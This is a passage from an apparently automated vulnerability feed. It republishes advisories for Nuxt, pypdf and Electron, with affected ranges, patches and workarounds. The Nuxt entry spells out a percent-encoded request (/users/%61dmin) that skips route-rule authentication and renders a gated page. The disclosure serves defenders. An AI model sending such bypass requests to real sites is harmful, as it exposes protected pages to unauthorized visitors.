GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25
### Summary

Nuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering.

### Impact

For a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule:

```ts
export default defineNuxtConfig({
 routeRules: {
 '/users/admin': { appMiddleware: 'auth' },
 },
})
```

Requesting `/users/%61dmin` still renders `app/pages/users/[id].vue` with `id` decoded to `admin`, but the rule keyed `/users/admin` does not match, so `auth` does not run and the server renders and returns the gated page to an unauthenticated visitor. No privileges and no user interaction are required, and only ASCII characters are involved.

Purely static ASCII routes are not affected: static segments are matched without decoding, so a request for `/%61dmin` does not resolve to the page registered at `/admin` and 404s instead of rendering.

The rule keys affected are the ones carried in the app manifest and consumed by the app: `appMiddleware`, `redirect`, `appLayout`, `ssr`, `prerender`, and the payload flags derived from `cache`, `isr` and `swr`.

If you have pinned or overridden dependency versions below what your Nuxt release declares, a release outside the affected ranges can still be exposed, so do not conclude from a single reproduction that you are unaffected.

### Patches

Releases from `4.4.4` and `3.21.4` are not affected, because their dependency floor requires a version of the underlying HTTP layer that normalises percent-encoding in the request path before routing, which removes the mismatch in a default install.

The comparison itself is fixed in `nuxt@4.5.2` and `nuxt@3.21.11`: route-rule keys and lookup paths are now decoded (and, unless `router.options.sensitive` is set, case-folded) before they are compared. Reserved escapes such as `%2F` are left encoded, so decoding cannot introduce extra path segments, and paths that cannot be decoded are matched verbatim. Upgrading to those releases is recommended, since it fixes the comparison rather than relying on a dependency to normalise the input, and it also restores route rules for pages whose paths contain non-ASCII characters.

### Workarounds

If you cannot upgrade, do not rely on a `routeRules` key alone to protect a route. Attach the middleware to the page itself, which binds it to the resolved route rather than to the raw path string:

```vue

```

### Credits

Thanks to @sushi-gif, whose report that route rules keyed with non-ASCII paths never match the routes generated for those pages prompted the review that found this issue.

Affected package ranges reported by GitHub:
nuxt: >= 4.0.0, < 4.4.4
nuxt: >= 3.11.0, < 3.21.4
Action: GitHub lists first patched versions: nuxt: 4.4.4; nuxt: 3.21.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible long runtimes/large memory usage when retrieving form fields
https://kevwire.com/record/CVE-2026-113789
pypdf: Possible long runtimes/large memory usage when retrieving form fields (Oct 22, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document.

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).
CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-6vvc-x485-93v7).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6vvc-x485-93v7: https://github.com/advisories/GHSA-6vvc-x485-93v7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document.

### Patches

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4219](https://github.com/py-pdf/pypdf/pull/4219).

Affected package ranges reported by GitHub:
pypdf: < 6.21.0
Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible large memory usage when parsing arrays and dictionaries
https://kevwire.com/record/CVE-2026-113790
pypdf: Possible large memory usage when parsing arrays and dictionaries (Oct 22, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements.

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).
CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-f54x-cmq8-qg57).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f54x-cmq8-qg57: https://github.com/advisories/GHSA-f54x-cmq8-qg57
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements.

### Patches

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218).

Affected package ranges reported by GitHub:
pypdf: < 6.21.0
Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pypdf: Possible large memory usage when parsing content streams
https://kevwire.com/record/CVE-2026-113791
pypdf: Possible large memory usage when parsing content streams (Oct 22, 2026).
An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations.

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).
CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cgf9-327m-v77c).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cgf9-327m-v77c: https://github.com/advisories/GHSA-cgf9-327m-v77c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113791&date=2026-10-25
### Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing content streams with many small operations.

### Patches

This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0).

### Workarounds

If you cannot upgrade yet, consider applying the changes from PR [#4218](https://github.com/py-pdf/pypdf/pull/4218).

Affected package ranges reported by GitHub:
pypdf: < 6.21.0
Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: SameSite cookie restrictions are not applied to windows opened from links
https://kevwire.com/record/CVE-2026-113796
Electron: SameSite cookie restrictions are not applied to windows opened from links (Oct 22, 2026).
Pages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence.

Apps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected.
CVSS 4.2 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-2p8c-gr87-2676).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-2p8c-gr87-2676: https://github.com/advisories/GHSA-2p8c-gr87-2676
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113796&date=2026-10-25
### Impact

Pages opened into a new window from a link were loaded as if the app itself had navigated there rather than the page that contained the link, so the request was treated as same-site: `SameSite=Strict` cookies were sent and `Sec-Fetch-Site` did not identify the initiating page. Content shown in the app could use this to make a credentialed top-level request to another site that relies on SameSite cookies as a CSRF defence.

Apps are only affected if they load untrusted content and allow it to open new windows. Apps that deny new windows from untrusted content with `setWindowOpenHandler` are not affected.

### Workarounds

Return `{ action: 'deny' }` from `setWindowOpenHandler` for windows opened by untrusted content.

### Fixed Versions

* `45.0.0-alpha.6`
* `44.3.0`
* `43.7.0`
* `42.11.3`

### For more information

If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.6
electron: >= 44.0.0-alpha.1, < 44.3.0
electron: >= 43.0.0-alpha.1, < 43.7.0
electron: < 42.11.3
Action: GitHub lists first patched versions: electron: 45.0.0-alpha.6; electron: 44.3.0; electron: 43.7.0; electron: 42.11.3. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: Pointer lock permission requests can be attributed to the wrong frame
https://kevwire.com/record/CVE-2026-113798
Electron: Pointer lock permission requests can be attributed to the wrong frame (Oct 22, 2026).
Apps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected.
CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-x562-297c-g43g).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-x562-297c-g43g: https://github.com/advisories/GHSA-x562-297c-g43g
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113798&date=2026-10-25
### Impact
For `pointerLock` permission requests made from some cross-origin iframes, `session.setPermissionRequestHandler()` was given the top-level frame's `requestingUrl` and `isMainFrame` instead of the requesting frame's. Apps that grant pointer lock based on the requesting origin could grant it to embedded content under the top-level page's identity.

Apps are only affected if they embed untrusted content in iframes and decide `pointerLock` requests by origin in `setPermissionRequestHandler`. Apps that do not embed untrusted content, or that deny `pointerLock` for it, are not affected.

### Workarounds
Deny the `pointerLock` permission for web contents that embed untrusted frames.

### Fixed Versions
* `45.0.0-alpha.13`
* `44.5.0`
* `43.7.6`
* `42.11.9`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.13
electron: >= 44.0.0-alpha.1, < 44.5.0
electron: >= 43.0.0-alpha.1, < 43.7.6
electron: < 42.11.9
Action: GitHub lists first patched versions: electron: 45.0.0-alpha.13; electron: 44.5.0; electron: 43.7.6; electron: 42.11.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: Extension tabs.query returns tab URLs and titles without the tabs permission
https://kevwire.com/record/CVE-2026-113797
Electron: Extension tabs.query returns tab URLs and titles without the tabs permission (Oct 22, 2026).
Apps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected.
CVSS 3.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-98mx-cjp9-gchm).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-98mx-cjp9-gchm: https://github.com/advisories/GHSA-98mx-cjp9-gchm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113797&date=2026-10-25
### Impact
`chrome.tabs.query()` returned each tab's `url` and `title` to extensions that held neither the `tabs` permission nor matching host permissions, so any loaded extension could read the URL and title of every webContents in its session.

Apps are only affected if they load extensions (`session.extensions.loadExtension`) that they do not fully trust. Apps that load no extensions, or only trusted ones, are not affected.

### Workarounds
Do not load untrusted or unvalidated extensions. In general you should only load trusted extensions.

### Fixed Versions
* `45.0.0-alpha.4`
* `44.1.1`
* `43.5.1`
* `42.11.1`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.4
electron: >= 44.0.0-alpha.1, < 44.1.1
electron: >= 43.0.0-alpha.1, < 43.5.1
electron: < 42.11.1
Action: GitHub lists first patched versions: electron: 45.0.0-alpha.4; electron: 44.1.1; electron: 43.5.1; electron: 42.11.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: Frame subscription trusts GPU-supplied frame geometry
https://kevwire.com/record/CVE-2026-114122
Electron: Frame subscription trusts GPU-supplied frame geometry (Oct 22, 2026).
Apps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected.
CVSS 3.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-3qxv-5xgr-q7w9).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3qxv-5xgr-q7w9: https://github.com/advisories/GHSA-3qxv-5xgr-q7w9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114122&date=2026-10-25
### Impact
Frame data received from the GPU process for `webContents.beginFrameSubscription` was not fully validated by the main process. A compromised GPU process could cause the main process to read out-of-bounds memory while producing the captured frame images, disclosing memory or crashing the app.

Apps are only affected if they use `webContents.beginFrameSubscription` and an attacker has separately gained code execution in the GPU process. Apps that do not subscribe to captured frames are not affected.

### Workarounds
There are no app side workarounds, you must update to a patched version of Electron.

### Fixed Versions
* `45.0.0-alpha.9`
* `44.4.3`
* `43.7.3`
* `42.11.6`

### For more information
If you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)

Affected package ranges reported by GitHub:
electron: < 42.11.6
electron: >= 43.0.0-alpha.1, < 43.7.3
electron: >= 44.0.0-alpha.1, < 44.4.3
electron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9
Action: GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Electron: Off-screen rendering on macOS trusts GPU-supplied frame geometry
https://kevwire.com/record/CVE-2026-114124
Electron: Off-screen rendering on macOS trusts GPU-supplied frame geometry (Oct 22, 2026).
Apps are only affected if they use offscreen rendering (`webPreferences.offscreen`) on macOS and an attacker has separately gained code execution in the GPU process. Apps that do not use offscreen rendering are not affected.
CVSS 3.9 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-h3v5-h239-pg29).
